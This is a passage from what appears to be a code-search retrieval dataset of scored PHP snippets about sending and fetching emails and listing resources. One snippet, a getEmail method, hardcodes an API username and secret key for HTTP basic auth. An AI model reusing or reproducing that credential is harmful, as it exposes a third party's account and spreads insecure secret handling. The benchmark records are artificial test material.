$meta;\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\tcase \"locale:complete\":\n\t\t\t\t\t// Alert anyone who asked for notifications when a locale is completed on their extension.\n\t\t\t\t\t$extension = new Extension($meta->extension_id);\n\t\t\t\t\t$user = new User($extension->user_id);\n\t\t\t\t\t\n\t\t\t\t\tif ($user->email_preferences & User::$EMAIL_FLAG_LOCALE_COMPLETE) {\n\t\t\t\t\t\t$emails[$user->id][$row[\"type\"]][] = $meta;\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\tcase \"message:update\":\n\t\t\t\t\t// Alert anyone who asked for notifications when their translations are changed.\n\t\t\t\t\t$user = new User($meta->previous_user_id);\n\t\t\t\t\t\n\t\t\t\t\tif ($user->email_preferences & User::$EMAIL_FLAG_MESSAGE_CHANGE) {\n\t\t\t\t\t\t$mindex = new MessageIndex($meta->message_index_id);\n\t\t\t\t\t\t$meta->extension_id = $mindex->extension_id;\n\t\t\t\t\t\t$meta->name = $mindex->name;\n\t\t\t\t\t\t\n\t\t\t\t\t\t$emails[$user->id][$row[\"type\"]][] = $meta;\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\t$email_objects = array();\n\t\t\n\t\t$default_locale_code = get_locale();\n\t\t\n\t\tforeach ($emails as $user_id => $events) {\n\t\t\t// Emails default to English, even if the API call is made to a localized subdomain.\n\t\t\tset_locale(\"en_US\");\n\t\t\t\n\t\t\t$user = new User($user_id);\n\t\t\t\n\t\t\tif ($user->preferred_locale) {\n\t\t\t\tset_locale($user->preferred_locale);\n\t\t\t}\n\t\t\t\n\t\t\t$email_object = array();\n\t\t\t$email_object[\"to\"] = $user->email;\n\t\t\t$email_object[\"subject\"] = __(\"email_notification_subject\");\n\t\t\t\n\t\t\tob_start();\n\t\t\tinclude INCLUDE_PATH . \"/templates/email/notification.php\";\n\t\t\t$html = ob_get_clean();\n\t\t\tob_end_clean();\n\t\t\t\n\t\t\t$email_object[\"body\"] = $html;\n\t\t\n\t\t\t$email_objects[] = $email_object;\n\t\t}\n\t\t\n\t\tset_locale($default_locale_code);\n\t\t\n\t\tforeach ($email_objects as $email) {\n\t\t\temail($email[\"to\"], $email[\"subject\"], $email[\"body\"]);\n\t\t}\n\t}\n\t\n\treturn $rv;\n}", "title": "" }, { "docid": "62d4d0de3ec74949c8f36a48e18134f7", "score": "0.5888669", "text": "public function testMagicCall()\n {\n $client = new Client($this->options);\n $emails = $client->emails();\n\n $this->assertTrue(is_array($emails));\n }", "title": "" }, { "docid": "038d6e81360f4bc79cf345fe748c19a2", "score": "0.5881153", "text": "function send_emails() {\n $settings = new Settings();\n $mail_companies = $settings->get_mailto_companies();\n $failed_list_mails = array();\n $mail_reader = new EmailReader(dirname(__FILE__) . '/mails', $this->user_information);\n foreach ($this->cookie_list as $item) {\n if (!$item->has_email()) {\n \t$failed_list_mails[] = $item;\n }\n else {\n $template = $mail_reader->get_companies_mail($item, $mail_companies);\n if (!$this->mail_to($item, $template, $mail_companies)) {\n $failed_list_mails[] = $item;\n }\n\t }\n }\n $this->update_amounts_used($this->cookie_list);\n\n\n $attachments = array();\n\n $failed_list_letters = array();\n foreach ($this->cookie_list as $item) {\n if (!$item->has_address()) {\n $failed_list_letters[] = $item;\n }\n else {\n $letter_generator = new LetterGenerator($this->user_information);\n $pdf = $letter_generator->generate_letter_string($item);\n if ($pdf) {\n \t$folder_writer = new FolderHandler();\n \t$file = $folder_writer->store_file($pdf, \"pdf\");\n \tif ($file) {\n \t\t$attachments[] = $file;\n \t}\n \telse {\n \t\t$failed_list_letters[] = $item;\n \t}\n }\n else {\n $failed_list_letters[] = $item;\n }\n }\n }\n\n\n\n return $this->send_confirmation_mail($attachments, $failed_list_mails, array_diff($this->cookie_list,\n $failed_list_mails), $failed_list_letters, array_diff($this->cookie_list, $failed_list_letters),\n $mail_companies);\n }", "title": "" }, { "docid": "7d8a2bec203a7079b42fae98f8b7630c", "score": "0.5878183", "text": "public static function get_by_email(Email $email) {\n\t\t$db = Database::get();\n\t\t$ids = $db->get_column('SELECT id FROM email_file WHERE email_id = ?', [ $email->id ]);\n\t\t$email_files = [];\n\t\tforeach ($ids as $id){\n\t\t\t$email_files[] = self::get_by_id($id);\n\t\t}\n\t\treturn $email_files;\n\t}", "title": "" }, { "docid": "5961f18992a797aaa20381e3d3eb9246", "score": "0.5869468", "text": "final public function getAllEmails($maxEmails=null, $includePublicEmail = true) {\n\t\treturn implode(', ', $this->getAllEmailsAsArray($maxEmails, $includePublicEmail) );\n\t}", "title": "" }, { "docid": "aa073aada724f91adec18867e3d617dc", "score": "0.5860419", "text": "public function emailadressen() {\r\n\t\t$objDBMaillijstEmailAdres = new clsDBMaillijstEmailAdres();\r\n\t\tforeach($objDBMaillijstEmailAdres->selectAll($this->getm_iBedrijfID(), $this->getm_iMaillijstID()) as $rs){\r\n\t\t\tarray_push($this->m_colEmailAdressen,new clsEmailAdres($rs['BedrijfID'],$rs['EmailAdresID'])); // voeg object MaillijstEmailAdres toe aan emailadressen collection\r\n\t\t};\r\n\t \treturn $this->m_colEmailAdressen;\r\n\t}", "title": "" }, { "docid": "5a529d737b7ea49eb02de8e823a51fbf", "score": "0.58507514", "text": "function getUserEmails($users)\n{\n return App\\Collection::make($users)->filter(function ($user) {\n return $user['email'] !== null;\n })->map(function ($user) {\n return $user['email'];\n })->toArray();\n}", "title": "" }, { "docid": "caedaf5c558a0b2f598c324941383b6b", "score": "0.5846495", "text": "public function test_search_emails_endpoint()\n {\n $response = $this->json('GET',\n route('emails.search', '[email protected]')\n );\n $response->assertStatus(200);\n }", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "dc8add57acff49e09d6dc387ffdd26ba", "score": "0.58458525", "text": "public function getEmail();", "title": "" }, { "docid": "f6573bdd161595eae570b715ac94d4c5", "score": "0.58358234", "text": "function getByEmail($email){\n\t\t}", "title": "" }, { "docid": "fc5a17b3a2ceff4cd016d3a277f9d419", "score": "0.58340895", "text": "public function getExternalSubscriptionsToEmail()\n {\n $principal = System_Api_Principal::getCurrent();\n\n $query = 'SELECT s.subscription_id, s.issue_id, s.user_id, s.stamp_id, s.user_email, p.is_public'\n . ' FROM {subscriptions} AS s'\n . ' JOIN {issues} AS i ON i.issue_id = s.issue_id'\n . ' JOIN {folders} AS f ON f.folder_id = i.folder_id'\n . ' JOIN {projects} AS p ON p.project_id = f.project_id';\n if ( !$principal->isAdministrator() )\n $query .= ' JOIN {effective_rights} AS r ON r.project_id = f.project_id AND r.user_id = %1d';\n $query .= ' WHERE s.user_id IS NULL AND i.stamp_id > s.stamp_id AND p.is_archived = 0';\n\n return $this->connection->queryTable( $query, $principal->getUserId() );\n }", "title": "" }, { "docid": "5c2aa58b568c5dc26251515cbcc76ed1", "score": "0.58326054", "text": "public function get_email_instance() {\n\n\t\treturn $this->emails;\n\t}", "title": "" }, { "docid": "db2062dcede17c82606d163eb892f951", "score": "0.5829461", "text": "public function alertEmailList($accountId) {\n $result = $this->db->where('id', $accountId)->select('support_email,fault_alert_email,safety_alert_email')->from('accounts')->get();\n\n if ($result->num_rows() > 0) {\n\n return $result->result_array();\n } else {\n return FALSE;\n }\n }", "title": "" }, { "docid": "157c7cb02a025af2222aa89b2d763798", "score": "0.5829411", "text": "public static function getEmail($url)\n {\n $client = new Client();\n $res = $client->request('GET', '' . $url . '', [\n 'auth' => ['api', '330b8af8aeb24ec2114d296ea257678d-c9270c97-c2ce62b4']\n ]);\n\n return $res;\n }", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "02760f4782a8648deb2eb62ff96f1946", "score": "0.0", "text": "public function index(Request $request)\n {\n if (isset($request->article_id)) {\n $query = CommentModel::query();\n $query->where('article_id', $request->article_id);\n $query->orderBy('id', 'ASC');\n $comments = $query->paginate($request->limit);\n return CommentResource::collection($comments);\n }\n }", "title": "" } ]
[ { "docid": "edfccc7675941363f15cdfa73ea568e7", "score": "0.79342735", "text": "public function listAction() {\n\t\t$resourceRecords = $this->repository->findAll();\n\t\t$this->view->assign('content', array(EmberDataUtility::uncamelizeClassName($this->modelName) => $resourceRecords));\n\t}", "title": "" }, { "docid": "fa0267b7eb5f572a15c8a1270ccd60d0", "score": "0.7552338", "text": "public function index() {\n\t\t\n\t\t$this->_listing();\n\t\t$this->set('listing', true);\n\t\t\n\t}", "title": "" }, { "docid": "3119bf4433b0eb6e1e5f5d3aefff8f7c", "score": "0.74976325", "text": "public function listAction()\n {\n header('Content-Type: application/json');\n echo json_encode(self::list($this->table, $_GET, $_GET), JSON_PRETTY_PRINT);\n }", "title": "" }, { "docid": "9af3930a12c4c5b442756b7bbd305ff2", "score": "0.74330676", "text": "public function index()\n {\n $resources = Resource::paginate(env('ROW_PER_PAGE', 10));\n \n return view('resource.index', compact('resources'));\n }", "title": "" }, { "docid": "89a4eb97a6ee51605109f42462c1473d", "score": "0.734927", "text": "public function list() {\n \t\treturn show();\n \t}", "title": "" }, { "docid": "7d3d5ea98fecbcdaa728156240d52501", "score": "0.73178124", "text": "public function index()\n\t{\n\t\t$resources = $this->getResourceRepository()->findAllPaginated()->toArray();\n\n return $this->apiResponse->success($resources['data'], 200, array_except($resources, 'data'));\n\t}", "title": "" }, { "docid": "f1e5379dd522597ce7ba432e2ed2c9f6", "score": "0.72631985", "text": "public function index()\n {\n $resources = QueryBuilder::for(Resource::class)\n ->allowedFilters('name')\n ->defaultSort('name')\n ->allowedSorts(['name', 'description'])\n ->paginate(15);\n\n return view('resources.index')->with('resources', $resources);\n }", "title": "" }, { "docid": "223999e9a02d01dc0cad36705dec31b1", "score": "0.72478926", "text": "public function actionList() {\n $this->_getList();\n }", "title": "" }, { "docid": "db140407717335f4b2c74a2a874b1895", "score": "0.7210918", "text": "public function listAction()\n {\n return view(\n 'item.list',\n [\n 'items' => $this -> itemService -> findAll()\n ]\n );\n }", "title": "" }, { "docid": "d1b35503fce76775fd4a174b9c6da027", "score": "0.7168305", "text": "public function index()\n {\n return ListsResource::collection(RecipeList::all());\n }", "title": "" }, { "docid": "0e190fa7a00dd0393b6c0e0a91b52874", "score": "0.71333236", "text": "public function listingAction()\n\t{\n\t\t// Render\n\t\t$this->_helper->content->setNoRender ()->setEnabled ();\n\t}", "title": "" }, { "docid": "9ee2301bbe5ddd99bc48b5c1f13682d6", "score": "0.7125178", "text": "public static function list()\n {\n $books = Book::findAll();\n\n // 2. Return/include de la view\n include(__DIR__ . '/../views/books/list.php');\n }", "title": "" }, { "docid": "1a06e6a067265c84505e916acc162f51", "score": "0.71211576", "text": "public function index()\n {\n if ($this->paginate) {\n $data = $this->repository->paginate();\n $data = [\n 'data' => $this->resource::collection($data->items()),\n 'per_page' => $data->perPage(),\n 'total' => $data->total(),\n ];\n } else {\n $data = $this->resource::collection($this->repository->all());\n }\n\n return Responder::respond($data);\n }", "title": "" }, { "docid": "b7a2e5efe030ad0454c4edd967fd4922", "score": "0.7078434", "text": "public function actionList()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Listing::find(),\n 'pagination' => $this->module->config['pagination'],\n ]);\n $output = $this->render('list', ['listDataProvider' => $dataProvider]);\n return $output;\n }", "title": "" }, { "docid": "3e3e55306112133885a7b05b73618ea6", "score": "0.70725244", "text": "public function index()\n {\n $resources = QueryBuilder::for(Resource::class)\n ->allowedFilters(['name', 'is_facility', 'categories.id', 'groups.id'])\n ->defaultSort('name')\n ->allowedSorts(['name', 'description', 'is_facility'])\n ->paginate(15);\n\n session()->flash('index-referer-url', request()->fullUrl());\n\n return view('resources.index')->with('resources', $resources);\n }", "title": "" }, { "docid": "b17b9fb097e089099f7de5f26809b8cb", "score": "0.7014123", "text": "public function index()\n {\n $listings = Listing::all();\n\n return ListingResource::collection($listings);\n }", "title": "" }, { "docid": "a856150f3c67d1457d548f91c75da7da", "score": "0.70038116", "text": "public function index()\n {\n // redirect($this->_url(\"all\"));\n $this->_create_list();\n $this->data['page'] = 'all';\n\n $this->_display();\n }", "title": "" }, { "docid": "8fd9118c1a1310924ffd107785f594c8", "score": "0.6988677", "text": "public function index()\n {\n return ItemListResource::collection(ItemList::where('created_by', Auth::user()->id)->orderBy('order')->get());\n }", "title": "" }, { "docid": "b3c2545a4d088004de8ba6c9a86879be", "score": "0.6960206", "text": "public function showList()\r\n\t{\r\n\t\t$this->items = $this->itemRepo->getAll();\r\n\t}", "title": "" }, { "docid": "acacf315b0baff673a36b2ca7e24d31e", "score": "0.69519275", "text": "public function index()\n {\n $resources = Resource::orderBy('id', 'asc')->get();\n return view('resources.index', compact('resources'));\n }", "title": "" }, { "docid": "c2135d6cafa652d036ae3308bd00e68c", "score": "0.69507635", "text": "public function listAction() {\r\n\t\t// Setup DataSource\r\n\t\t$this->_setupDataSource();\r\n\t\t// Setup Grid\r\n\t\t$this->_setupGrid();\r\n\t\t// Build Grid\r\n\t\t$this->_grid->buildTable();\r\n\t\t\r\n\t\t// Setup View Script\r\n\t\t$this->_helper->viewRenderer($this->_listScript);\r\n\t\t$this->view->grid = $this->_grid;\r\n\t\t$this->view->addLink = array('action' => 'add');\r\n\t\t$this->view->moduleName = $this->_moduleName;\r\n\t}", "title": "" }, { "docid": "65fbe1cd513c1906884a8cf3b31fcaf5", "score": "0.69496506", "text": "public function list ()\n {\n $this->jsonResponse($this->model->findAll());\n }", "title": "" }, { "docid": "7982715eae8987f6e04898265db32a84", "score": "0.6934365", "text": "public function index()\n {\n $this->crud->hasAccessOrFail('list');\n\n $this->data['crud'] = $this->crud;\n $this->data['title'] = ucfirst($this->crud->entity_name_plural);\n\n // get all entries if AJAX is not enabled\n if (! $this->data['crud']->ajaxTable()) {\n $this->data['entries'] = $this->amcRepository->all();\n }\n \n // load the view from /resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n return view($this->crud->getListView(), $this->data);\n }", "title": "" }, { "docid": "f9880ebe5ebd32a272f9c257eefeb7d5", "score": "0.69080645", "text": "public function index()\n {\n $query = Resource::orderBy(\"name\");\n $paginate = new PaginateService($query);\n\n $this->data->resources = $paginate->data();\n $this->data->paging = $paginate->paging();\n\n if(Request::ajax())\n {\n return $this->json();\n }\n return $this->view();\n }", "title": "" }, { "docid": "1965f3d513e903b06cfd331567a24845", "score": "0.6895095", "text": "public function index()\n\t{\n\t\t$resources = $this->resource->get();\n\t\treturn \\Response::json($resources);\n\t}", "title": "" }, { "docid": "787a91f5c43faa5eaa05845dd5ea7560", "score": "0.68846714", "text": "public function index()\n {\n $resources = Resource::all();\n\n return view('admin.resources.index', ['resources' => $resources]);\n }", "title": "" }, { "docid": "4b7e3c233f60e23a7dbb5f593395b76c", "score": "0.6871577", "text": "public function actionIndex() {\r\n\t\t$this -> toPage('list');\r\n\t}", "title": "" }, { "docid": "d1036519a5edd84e78f3b5c9d42b2f9c", "score": "0.6861071", "text": "public function index() {\n\t\treturn \\Response::view('git/listing');\n\t}", "title": "" }, { "docid": "00a08afebd209b80aaef61ff37d6a46b", "score": "0.6853615", "text": "public function index()\n {\n //get records\n $records = Record::paginate(15);\n\n //return collection of records as a resource\n return RecordResource::collection($records);\n\n }", "title": "" }, { "docid": "7df5491fbb664c953c7e5dff4627f1cc", "score": "0.68314284", "text": "public function index()\n {\n $resources = QueryBuilder::for(Resource::class)\n ->allowedFilters(['name', 'is_facility', 'categories.id', 'groups.id'])\n ->defaultSort('name')\n ->allowedSorts(['name', 'description'])\n ->paginate(15);\n\n return new ResourceCollection($resources);\n }", "title": "" }, { "docid": "ac58f83d1b859c8f0c9d002437cb5caa", "score": "0.6806778", "text": "public function index()\n {\n $resources = Resource::get();\n return view('resources.index', ['resources'=>$resources]);\n }", "title": "" }, { "docid": "abaacf9f1fa05faf4fd840689138551b", "score": "0.68013006", "text": "public function index()\n {\n $user = Auth::user();\n\n $recipes = Recipe::where('user_id', $user->id)\n ->orWhere('is_public', true)\n ->paginate(15);\n\n return new CompactRecipeListResource($recipes);\n }", "title": "" }, { "docid": "81a151b5e0337d96155cd41441de4eb3", "score": "0.67928314", "text": "public function index()\n {\n\n $items = Items::paginate(12);\n return ItemsResource::collection($items);\n }", "title": "" }, { "docid": "998c769364dc4c666498430759971c31", "score": "0.67716223", "text": "public function actionIndex()\n {\n // init Active Record\n $query = new UserRecords();\n\n // set current page and offset\n $page = (int)$this->request->query->get('page', 0);\n $offset = $page * self::ITEM_PER_PAGE;\n\n // build pagination\n $pagination = new SimplePagination([\n 'url' => ['user/index'],\n 'page' => $page,\n 'step' => self::ITEM_PER_PAGE,\n 'total' => $query->count()\n ]);\n\n // build listing objects\n $records = $query->orderBy('id', 'desc')->skip($offset)->take(self::ITEM_PER_PAGE)->get();\n\n // display viewer\n return $this->view->render('index', [\n 'records' => $records,\n 'pagination' => $pagination\n ]);\n }", "title": "" }, { "docid": "e33620f9e0602f70ef6cab4f1bdb2610", "score": "0.67710763", "text": "public function index()\n\t{\n\t\t$this->listar();\n\t}", "title": "" }, { "docid": "c2cb369270f6fcd0fe01f7c05c39893d", "score": "0.6771036", "text": "public function index()\n {\n \t$staff = Staff::paginate(50);\n \treturn StaffResources::collection($staff);\n }", "title": "" }, { "docid": "6d38830f96381c6d3f6705200be0b0ce", "score": "0.6769593", "text": "public function Index() {\n\t\t$list = call_user_func(array($this->model(), 'find'));\n $this->render($this->model().'/index', compact('list'));\n\t}", "title": "" }, { "docid": "928b1775fb4733a239dae4530b7ef807", "score": "0.6768928", "text": "public function listAction()\n {\n $bookList= new Library_Model_ListBooks();\n //bekome a array of books\n $books = $bookList->listBooks($this->_getParam('page', 1));\n \n $this->view->books = $books;\n //apply the paginator to our view\n if(!$this->_request->isXmlHttpRequest()){\n //problem with getPaginator\n $this->view->paginator = $bookList->getPaginator();\n } else {\n $this->view->currentPage = $bookList->getPaginator()->getCurrentPageNumber();\n }\n }", "title": "" }, { "docid": "226f4470a6f32302edcfa713291233ee", "score": "0.67669094", "text": "public function listAction()\n {\n $this->view->persons = PersonCatalog::getInstance()->getActives();\n $this->setTitle('List the Person');\n }", "title": "" }, { "docid": "587f352425474ce109a45e636208d7d7", "score": "0.67461246", "text": "public function list()\n {\n return response()->json($this->listAction->run());\n }", "title": "" }, { "docid": "e350e7299f802c9cf32b414dc945ac34", "score": "0.6743188", "text": "public function listAction()\n {\n try {\n $connection = GeneralUtility::makeInstance(\\Mahu\\SearchAlgolia\\Connection\\Algolia\\Connection::class, $this->configManager);\n $this->client = $connection->getClient();\n $remoteIndexList = $this->getRemoteIndexList();\n $localIndexList = $this->getLocalIndexList();\n\n $this->logService = GeneralUtility::makeInstance(Log::class);\n $logContent = $this->logService->getLogContent();\n } catch (AlgoliaConnectionException $e) {\n $this->view->assignMultiple(['algoliaException' => $e->getMessage()]);\n } catch (\\RuntimeException $e) {\n $this->view->assignMultiple(['logException' => $e->getMessage()]);\n }\n\n $this->view->assignMultiple(\n [\n 'remoteIndexList' => $remoteIndexList,\n 'localIndexList' => $localIndexList,\n 'logContent' => $logContent\n ]\n );\n }", "title": "" }, { "docid": "04105211a75ba7457c72346a442bef90", "score": "0.6742193", "text": "function Index()\n\t\t{\n\t\t\t$this->DefaultParameters();\n\t\t\t\r\n\t\t\t$parameters = array('num_rows');\r\n\t\t\t$this->data[$this->name] = $this->controller_model->ListItemsPaged($this->request->get, '', $parameters);\r\n\t\t\t$this->data['num_rows'] = $parameters['num_rows'];\n\t\t}", "title": "" }, { "docid": "1fe41c52dd75a6340ba0e7415a6acc25", "score": "0.67415196", "text": "public function index()\n {\n return TodoResource::collection(Todo::paginate(10));\n }", "title": "" }, { "docid": "f5b2a3a3d01e82cedd6efa95f22e9cec", "score": "0.67290956", "text": "public function index()\n {\n return ContactListResource::collection(Contact::all()->paginate(25));\n }", "title": "" }, { "docid": "c455819674d3f353cb9e20703ef52803", "score": "0.67255723", "text": "public function index()\n {\n $this->list_view();\n }", "title": "" }, { "docid": "106d7df8332c0494258eddc388469da7", "score": "0.6723481", "text": "public function index()\n {\n //Get employees\n $employees = employees::paginate(15);\n\n //return the collection of employees as a resource\n return employeeResource::collection($employees);\n\n\n }", "title": "" }, { "docid": "b3dfa38d778d7b973135f3c279d4eed4", "score": "0.6716988", "text": "public function index()\n\t{\n $model = $this->model;\n $resources = $model::all();\n\t\treturn Response::api(['resources' => $resources]);\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "a8928e5ccc1f4e236f4a00c06b0a7026", "score": "0.6702476", "text": "public function index()\n\t{ \n // Carga el modelo de 'ResourceTypes' para sacar el nombre del tipo de recurso\n $this->loadModel('ResourceTypes'); \n $this->set('resource_types', $this->ResourceTypes->find('all'));\n \n // Consulta Join de recursos con usuarios, saca los recursos asociados al admin\n $query = $this->Resources->find('all');\n $query->innerJoinWith('Users', function ($q)\n {\n return $q->where(['Users.id' => $this->Auth->User('id')]);\n }\n );\n \n // Pagina la tabla de recursos\n $this->set('resources', $this->paginate($query));\n\t}", "title": "" }, { "docid": "b754e829a1afcf5e226b9dd05f87f2e6", "score": "0.66960615", "text": "public function index()\n {\n $this->setResources();\n\n $modelResource = new $this->Model;\n\n $filter = Input::get('filter');\n\n $perPage = Input::get('per_page');\n\n $sort = Input::get('sort');\n\n if ($perPage) $modelResource->setPerPage($perPage);\n\n $filterBy = $modelResource->getFilterBy();\n\n $sortBy = $modelResource->getSortBy() ?: $filterBy;\n\n $sort = $sort ? explode('|', $sort) : [$sortBy, 'asc'];\n\n if (!$filter) {\n return new $this->ResourceCollection(\n $modelResource::orderBy($sort[0], $sort[1])->paginate()\n );\n }\n\n $filter = DB::table('companies')->where('razao_social', 'like', \"%$filter%\")->first()->id;\n\n return new $this->ResourceCollection(\n $modelResource::where(\"$filterBy\", \"$filter\")\n ->orderBy($sort[0], $sort[1])\n ->paginate()\n );\n }", "title": "" }, { "docid": "a10ee9720f3882f9615dc6bd39bf66bb", "score": "0.6695142", "text": "public function index()\n {\n\n return OfferResource::collection(Offer::paginate(10));\n }", "title": "" }, { "docid": "7e86107f54f4f68d3d2ea122badfb72e", "score": "0.6693794", "text": "public function list() {\n include \"ROOT_PATH\" . \"../../../resource/views/user/list.php\";\n }", "title": "" }, { "docid": "d2a02cceaa38bd17888a8559051bf99d", "score": "0.669236", "text": "public function listAction(){\n // Current PO to show.\n $currentSupplier = $this->request->getQuery('supplier', 'int');\n // Pass the general parameters to the view.\n $this->view->setVar('title', 'Supplier #' . $currentSupplier);\n $this->view->setVar('subtitle', 'dat dat dat');\n // @todo::: Define controls.\n $this->view->setVar('show_submit', TRUE);\n $this->view->setVar('submit_text', 'Submit');\n $this->view->setVar('show_cancel', TRUE);\n $this->view->setVar('cancel_text', \"Cancel\");\n $this->view->setVar('main_form_id', '');\n $this->view->setVar('exit_to', $this->url->getBaseUri() . 'po/search');\n }", "title": "" }, { "docid": "a08b224cecded9fbbd98e9690a25697b", "score": "0.66899556", "text": "public function index()\n {\n return TodoResource::collection(Todo::orderBy('id', 'desc')->paginate());\n }", "title": "" }, { "docid": "3d5e84310d037c96dff096d60146afc3", "score": "0.6676491", "text": "public function index()\n {\n $storie = Stories::paginate(15);\n\n return StoriesResource::collection($storie);\n }", "title": "" }, { "docid": "c47e31fef88d7be6059d14e6bf3e7d3b", "score": "0.66763234", "text": "public function actionIndex()\n {\n $searchModel = new SearchListing();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "title": "" }, { "docid": "a0f9ca57ab7f1a43209181dea82c6087", "score": "0.6660814", "text": "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // data\n $data = $dataProvider->getData();\n\n // related data\n $relatedData = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersData = array();\n if (isset($_GET[$this->_model])) {\n $filtersData[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersData[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersData)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $data, $relatedData, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "title": "" }, { "docid": "d80bbdb874c0bc70baa157e026fd4ce0", "score": "0.66533667", "text": "public function listAction()\n {\n $resource = $this->Request()->getParam('resource');\n $limit = $this->Request()->getParam('limit', 25);\n $offset = ($this->Request()->getParam('page', 1) - 1) * $limit;\n\n /** @var \\Shopware\\Components\\MultiEdit\\Resource\\ResourceInterface $resource */\n $resource = $this->container->get('multi_edit.' . $resource);\n $result = $resource->listBackups($offset, $limit);\n $result['success'] = true;\n\n $this->View()->assign($result);\n }", "title": "" }, { "docid": "7b3f65d2cb517845002348a3fb676f3b", "score": "0.6651287", "text": "public function listAction()\n {\n\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "title": "" }, { "docid": "201d2cfcdf8daa4dcc0daec6874168cf", "score": "0.66492194", "text": "function listAction()\n {\n $this->_model->rec = $this->_db->getRec();\n $content = $this->_model->render(STUD_LIST_FILE);\n $this->_templete->content = $content;\n $output = $this->_templete->render(LAYOUT_FILE);\n $this->_fc->setBody($output);\n }", "title": "" }, { "docid": "eebcaa5492eb207e4f7b0028a584708b", "score": "0.6643269", "text": "public function index()\n {\n //\n return Resource::all();\n }", "title": "" }, { "docid": "7a84ee612e4a05b429aaef9c4ed361d6", "score": "0.6639994", "text": "public function ListAll()\n\t{\n\t\t\t\t\n\t\t$data['persons'] = $this->file->load();\n\n\t\t$data['token'] = $this->token->getNewToken();\n\n\t\t$template = View::make('../../templates/list',$data);\n\n\t\treturn $this->response->setContent($template->render());\n\t}", "title": "" }, { "docid": "972eaa033ae88bc016ccf77517a3335b", "score": "0.6634485", "text": "public function index() {\n\t\t\t$datas=DAO::getAll($this->model);\n\t\t\techo $this->responseFormatter->get($datas);\n\t}", "title": "" }, { "docid": "6a16c824a30ff8ee825dac92aef0bc07", "score": "0.66332036", "text": "function overview()\n {\n $data['files'] = $this->files->get_all();\n $this->view('content/files_list', $data);\n }", "title": "" }, { "docid": "cb88c28d2d3774b001750c6aab518891", "score": "0.6621152", "text": "public function list(): Response\n {\n // Récupération du Repository\n $repository = $this->getDoctrine()\n ->getRepository(Article::class);\n // Récupération de tous les articles\n $articles = $repository->findAll();\n // Renvoi des articles à la vue\n return $this->render('index.html.twig', [\n 'articles' => $articles\n ]);\n }", "title": "" }, { "docid": "b5a2dd04865acc0337c46650153e1a4d", "score": "0.66207755", "text": "public function actionList()\n {\n $sliders = Slider::find()\n ->withSlides()\n ->all();\n\n return $this->render('list', [\n 'sliders' => $sliders\n ]);\n }", "title": "" }, { "docid": "f7e69a4504c6eeedcb7bf68ebf86b14d", "score": "0.661989", "text": "public function index()\n {\n return ProviderResource::collection(Provider::paginate());\n }", "title": "" }, { "docid": "64b9fc22016f4b9a739c18a02478cdd0", "score": "0.66172355", "text": "public static function index()\r\n {\r\n $pagination = array(\r\n 'page' => 1,\r\n 'show' => 20\r\n );\r\n\r\n if (isset($_GET['page'])) {\r\n $pagination['page'] = intval($_GET['page']);\r\n }\r\n if (isset($_GET['show'])) {\r\n $pagination['show'] = intval($_GET['show']);\r\n }\r\n\r\n $params = 